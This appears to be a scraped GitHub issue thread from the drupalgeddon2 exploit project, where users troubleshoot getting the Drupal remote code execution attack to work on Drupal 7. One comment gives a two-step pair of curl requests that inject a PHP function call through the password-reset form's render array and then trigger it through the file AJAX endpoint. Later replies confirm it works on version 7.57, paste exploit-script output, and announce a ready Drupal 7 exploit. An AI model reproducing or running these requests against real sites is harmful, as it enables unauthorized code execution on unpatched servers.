Exploit fails on drupal 7 about drupalgeddon2 HOT 8 CLOSED

Yup, I'm developing a payload for Drupal 7 right now

from drupalgeddon2.

Most probably you already know this one. I tested and it worked for me on 7.5.5.

curl --globoff -X POST --data 'form_id=user_pass&_triggering_element_name=name' 'http://VULNERABLE/user/password?name[%23post_render][0]=PHP_FUNCTION&name[%23markup]=PAYLOAD'

Then extract form_build_id and another request:

curl -X POST --data 'form_build_id=FORM_BUILD_ID' 'http://VULNERABLE/file/ajax/name/%23value/FORM_BUILD_ID'

Original idea: https://twitter.com/b4nhm1

from drupalgeddon2.

It does not work.
At the second request I get this error:
An unrecoverable error occurred. The uploaded file likely exceeded the maximum file size (150 MB) that this server supports.
Tested on 7.54 and 7.57.

from drupalgeddon2.

Works for me on 7.57. Make sure you replace both instances of FORM_BUILD_ID in the second command with the form_build_id from step 1.

from drupalgeddon2.

I did that. What version of PHP are you using ?

from drupalgeddon2.

5.6

from drupalgeddon2.

[+] Target seems to be exploitable! w00hooOO!
Traceback (most recent call last):
3: from drupalgeddon2.rb:118:in <main>' 2: from /usr/lib/ruby/vendor_ruby/json/common.rb:15:in []'
1: from /usr/lib/ruby/vendor_ruby/json/common.rb:156:in parse' /usr/lib/ruby/vendor_ruby/json/common.rb:156:in parse': 765: unexpected token at ' (JSON::ParserError)

from drupalgeddon2.

Exploit for Drupal 7 available on drupalgeddon2.1.rb, enjoy it.

from drupalgeddon2.